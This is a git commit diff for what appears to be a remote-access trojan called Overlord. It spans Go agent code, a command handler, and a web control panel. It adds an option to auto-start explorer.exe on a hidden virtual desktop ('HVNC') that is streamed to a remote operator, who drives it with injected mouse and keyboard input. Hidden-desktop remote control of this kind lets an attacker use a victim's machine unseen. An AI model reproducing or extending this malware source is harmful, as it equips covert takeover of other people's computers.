add auto start explorer

This commit is contained in:
KingKDot
2026-03-17 00:31:28 -05:00
parent dd30835f4a
commit 62208ace52
6 changed files with 136 additions and 36 deletions
+105 -30
View File
@@ -16,35 +16,36 @@ import (
) )
var ( var (
procCreateDesktopW = user32.NewProc("CreateDesktopW") procCreateDesktopW = user32.NewProc("CreateDesktopW")
procOpenDesktopW = user32.NewProc("OpenDesktopW") procOpenDesktopW = user32.NewProc("OpenDesktopW")
procCloseDesktop = user32.NewProc("CloseDesktop") procCloseDesktop = user32.NewProc("CloseDesktop")
procSetThreadDesktop = user32.NewProc("SetThreadDesktop") procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
procGetThreadDesktop = user32.NewProc("GetThreadDesktop") procGetThreadDesktop = user32.NewProc("GetThreadDesktop")
procSwitchDesktop = user32.NewProc("SwitchDesktop") procSwitchDesktop = user32.NewProc("SwitchDesktop")
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId") procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
procGetDesktopWindow = user32.NewProc("GetDesktopWindow") procGetDesktopWindow = user32.NewProc("GetDesktopWindow")
procGetWindowRect = user32.NewProc("GetWindowRect") procGetWindowRect = user32.NewProc("GetWindowRect")
procIsWindowVisible = user32.NewProc("IsWindowVisible") procIsWindowVisible = user32.NewProc("IsWindowVisible")
procPrintWindow = user32.NewProc("PrintWindow") procPrintWindow = user32.NewProc("PrintWindow")
procGetWindow = user32.NewProc("GetWindow") procGetWindow = user32.NewProc("GetWindow")
procGetTopWindow = user32.NewProc("GetTopWindow") procGetTopWindow = user32.NewProc("GetTopWindow")
procCreateProcessW = kernel32.NewProc("CreateProcessW") procCreateProcessW = kernel32.NewProc("CreateProcessW")
procSendInputHVNC = user32.NewProc("SendInput") procSendInputHVNC = user32.NewProc("SendInput")
procGetCursorPosHVNC = user32.NewProc("GetCursorPos") procGetCursorPosHVNC = user32.NewProc("GetCursorPos")
procWindowFromPoint = user32.NewProc("WindowFromPoint") procWindowFromPoint = user32.NewProc("WindowFromPoint")
procScreenToClient = user32.NewProc("ScreenToClient") procScreenToClient = user32.NewProc("ScreenToClient")
procPostMessageW = user32.NewProc("PostMessageW") procPostMessageW = user32.NewProc("PostMessageW")
procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW") procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW")
procSetWindowPos = user32.NewProc("SetWindowPos") procSetWindowPos = user32.NewProc("SetWindowPos")
procSetForegroundWindow = user32.NewProc("SetForegroundWindow") procSetForegroundWindow = user32.NewProc("SetForegroundWindow")
procSetActiveWindow = user32.NewProc("SetActiveWindow") procSetActiveWindow = user32.NewProc("SetActiveWindow")
procSetFocus = user32.NewProc("SetFocus") procSetFocus = user32.NewProc("SetFocus")
procGetForegroundWindow = user32.NewProc("GetForegroundWindow") procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
procGetAncestor = user32.NewProc("GetAncestor") procGetAncestor = user32.NewProc("GetAncestor")
procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW") procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW")
procToUnicode = user32.NewProc("ToUnicode") procToUnicode = user32.NewProc("ToUnicode")
procGetWindowPlacement = user32.NewProc("GetWindowPlacement") procGetWindowPlacement = user32.NewProc("GetWindowPlacement")
procGetWindowThreadProcessId = user32.NewProc("GetWindowThreadProcessId")
) )
const ( const (
@@ -164,6 +165,7 @@ var (
hvncWindowToMove uintptr hvncWindowToMove uintptr
hvncMouseButtons uint32 hvncMouseButtons uint32
hvncPendingActivate uintptr hvncPendingActivate uintptr
hvncExplorerStarted bool
hvncTaskSeq atomic.Uint64 hvncTaskSeq atomic.Uint64
hvncCurrentTaskID atomic.Uint64 hvncCurrentTaskID atomic.Uint64
hvncCurrentTaskKind atomic.Int64 hvncCurrentTaskKind atomic.Int64
@@ -186,6 +188,7 @@ const (
hvncTaskKeyDown hvncTaskKeyDown
hvncTaskKeyUp hvncTaskKeyUp
hvncTaskMouseWheel hvncTaskMouseWheel
hvncTaskAutoStartExplorer
) )
type hvncTask struct { type hvncTask struct {
@@ -361,6 +364,7 @@ func CleanupHVNCDesktop() {
hvncDesktopHandle = 0 hvncDesktopHandle = 0
} }
hvncInitialized = false hvncInitialized = false
hvncExplorerStarted = false
if hvncThreadTasks != nil { if hvncThreadTasks != nil {
close(hvncThreadTasks) close(hvncThreadTasks)
hvncThreadTasks = nil hvncThreadTasks = nil
@@ -450,6 +454,8 @@ func ensureHVNCThread() error {
result.err = hvncKeyOnThread(task.vk, false) result.err = hvncKeyOnThread(task.vk, false)
case hvncTaskMouseWheel: case hvncTaskMouseWheel:
result.err = hvncMouseWheelOnThread(task.delta) result.err = hvncMouseWheelOnThread(task.delta)
case hvncTaskAutoStartExplorer:
result.err = hvncAutoStartExplorerOnThread()
default: default:
result.img, result.err = hvncCaptureDisplayOnThread(task.display) result.img, result.err = hvncCaptureDisplayOnThread(task.display)
} }
@@ -503,6 +509,19 @@ func StartHVNCProcess(filePath string) error {
return result.err return result.err
} }
func HVNCAutoStartExplorer() error {
if hvncExplorerStarted {
return nil
}
result, err := executeHVNCTask(hvncTask{
kind: hvncTaskAutoStartExplorer,
}, 15*time.Second)
if err != nil {
return err
}
return result.err
}
func HVNCInputMouseMove(display int, x, y int32) error { func HVNCInputMouseMove(display int, x, y int32) error {
result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second) result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second)
if err != nil { if err != nil {
@@ -606,7 +625,7 @@ func hvncThreadWatchdog() {
func shouldTraceHVNCTask(kind hvncTaskKind) bool { func shouldTraceHVNCTask(kind hvncTaskKind) bool {
switch kind { switch kind {
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected: case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected, hvncTaskAutoStartExplorer:
return true return true
default: default:
return false return false
@@ -633,6 +652,8 @@ func hvncTaskKindName(kind hvncTaskKind) string {
return "key_up" return "key_up"
case hvncTaskMouseWheel: case hvncTaskMouseWheel:
return "mouse_wheel" return "mouse_wheel"
case hvncTaskAutoStartExplorer:
return "auto_start_explorer"
default: default:
return fmt.Sprintf("unknown(%d)", kind) return fmt.Sprintf("unknown(%d)", kind)
} }
@@ -791,6 +812,60 @@ func startHVNCProcessOnThread(filePath string) error {
return nil return nil
} }
func hvncAutoStartExplorerOnThread() error {
if hvncExplorerStarted {
return nil
}
found := false
hwnd := getTopWindow(0)
for hwnd != 0 {
var pid uint32
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
if pid != 0 && isExplorerPID(pid) {
found = true
break
}
hwnd = getWindow(hwnd, GW_HWNDNEXT)
}
if found {
log.Printf("hvnc: explorer.exe already running on HVNC desktop, skipping auto-start")
hvncExplorerStarted = true
return nil
}
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
err := startHVNCProcessOnThread("explorer.exe")
if err != nil {
return fmt.Errorf("auto-start explorer failed: %w", err)
}
hvncExplorerStarted = true
return nil
}
func isExplorerPID(pid uint32) bool {
const PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
hProc, _, _ := kernel32.NewProc("OpenProcess").Call(
PROCESS_QUERY_LIMITED_INFORMATION, 0, uintptr(pid),
)
if hProc == 0 {
return false
}
defer procCloseHandle.Call(hProc)
var buf [260]uint16
size := uint32(len(buf))
ret, _, _ := kernel32.NewProc("QueryFullProcessImageNameW").Call(
hProc, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(unsafe.Pointer(&size)),
)
if ret == 0 {
return false
}
name := strings.ToLower(syscall.UTF16ToString(buf[:size]))
return strings.HasSuffix(name, `\explorer.exe`)
}
func hvncMouseMoveOnThread(display int, x, y int32) error { func hvncMouseMoveOnThread(display int, x, y int32) error {
bounds, _ := hvncResolveCaptureBounds(display) bounds, _ := hvncResolveCaptureBounds(display)
if bounds.Dx() <= 0 || bounds.Dy() <= 0 { if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
@@ -785,6 +785,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
// ==================== HVNC COMMANDS ==================== // ==================== HVNC COMMANDS ====================
case "hvnc_start": case "hvnc_start":
payload, _ := envelope["payload"].(map[string]interface{})
autoStartExplorer := false
if payload != nil {
if v, ok := payload["autoStartExplorer"].(bool); ok {
autoStartExplorer = v
}
}
env.HVNCMu.Lock() env.HVNCMu.Lock()
if env.HVNCCancel != nil { if env.HVNCCancel != nil {
env.HVNCCancel() env.HVNCCancel()
@@ -795,8 +802,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
done := make(chan struct{}) done := make(chan struct{})
env.HVNCDone = done env.HVNCDone = done
goSafe("hvnc stream", env.Cancel, func() { goSafe("hvnc stream", env.Cancel, func() {
log.Printf("hvnc: start requested") log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
_ = HVNCStart(hvncCtx, env) _ = HVNCStart(hvncCtx, env, autoStartExplorer)
close(done) close(done)
}) })
env.HVNCMu.Unlock() env.HVNCMu.Unlock()
+9 -1
View File
@@ -26,7 +26,7 @@ func GetPersistedHVNCDisplay() int {
return hvncPersistedDisplayValue return hvncPersistedDisplayValue
} }
func HVNCStart(ctx context.Context, env *rt.Env) error { func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30) interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
capture.SetH264TargetFPS(fps) capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps) log.Printf("hvnc: starting stream (max fps %d)", fps)
@@ -36,6 +36,14 @@ func HVNCStart(ctx context.Context, env *rt.Env) error {
return err return err
} }
if autoStartExplorer {
go func() {
if err := capture.HVNCAutoStartExplorer(); err != nil {
log.Printf("hvnc: auto-start explorer error: %v", err)
}
}()
}
ticker := time.NewTicker(interval) ticker := time.NewTicker(interval)
defer ticker.Stop() defer ticker.Stop()
for { for {
+7 -2
View File
@@ -25,6 +25,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
const mouseCtrl = document.getElementById("mouseCtrl"); const mouseCtrl = document.getElementById("mouseCtrl");
const kbdCtrl = document.getElementById("kbdCtrl"); const kbdCtrl = document.getElementById("kbdCtrl");
const cursorCtrl = document.getElementById("cursorCtrl"); const cursorCtrl = document.getElementById("cursorCtrl");
const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
const qualitySlider = document.getElementById("qualitySlider"); const qualitySlider = document.getElementById("qualitySlider");
const qualityValue = document.getElementById("qualityValue"); const qualityValue = document.getElementById("qualityValue");
const codecH264 = document.getElementById("codecH264"); const codecH264 = document.getElementById("codecH264");
@@ -199,7 +200,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
display: parseInt(displaySelect.value, 10) || 0, display: parseInt(displaySelect.value, 10) || 0,
}); });
} }
sendCmd("hvnc_start", {}); sendCmd("hvnc_start", {
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
});
} else { } else {
setStreamState("idle", "Stopped"); setStreamState("idle", "Stopped");
} }
@@ -426,7 +429,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
desiredStreaming = true; desiredStreaming = true;
lastFrameAt = 0; lastFrameAt = 0;
setStreamState("starting", "Starting stream"); setStreamState("starting", "Starting stream");
sendCmd("hvnc_start", {}); sendCmd("hvnc_start", {
autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
});
}); });
stopBtn.addEventListener("click", function () { stopBtn.addEventListener("click", function () {
desiredStreaming = false; desiredStreaming = false;
+3
View File
@@ -127,6 +127,9 @@
<label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames" <label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
><input type="checkbox" id="cursorCtrl" /> Cursor</label ><input type="checkbox" id="cursorCtrl" /> Cursor</label
> >
<label class="flex items-center gap-2 text-sm text-slate-200" title="Auto-start explorer.exe on the hidden desktop when streaming begins"
><input type="checkbox" id="autoExplorerCtrl" checked /> Auto Explorer</label
>
</div> </div>
</div> </div>
@@ -560,7 +560,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
switch (payload.type) { switch (payload.type) {
case "hvnc_start": case "hvnc_start":
if (!state.isStreaming) { if (!state.isStreaming) {
sendHVNCCommand(target, "hvnc_start", {}); sendHVNCCommand(target, "hvnc_start", {
autoStartExplorer: payload.autoStartExplorer !== false,
});
state.isStreaming = true; state.isStreaming = true;
hvncStreamingState.set(clientId, state); hvncStreamingState.set(clientId, state);
logger.debug(`[hvnc] started streaming for client ${clientId}`); logger.debug(`[hvnc] started streaming for client ${clientId}`);